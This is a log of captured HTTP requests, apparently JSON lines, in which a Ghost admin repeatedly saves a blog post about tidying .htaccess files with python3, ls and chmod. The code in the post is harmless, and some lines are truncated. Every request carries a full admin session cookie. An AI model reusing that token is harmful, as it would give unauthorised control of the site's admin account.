{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8105", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8135", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8578", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8337", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Bid%3A-%276af458a5d281b00001a59969%27&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?filter=newsletters.slug%3Adefault-newsletter%2Bemail_disabled%3A0%2B%28status%3Afree%2Cstatus%3A-free%29&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8061", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use 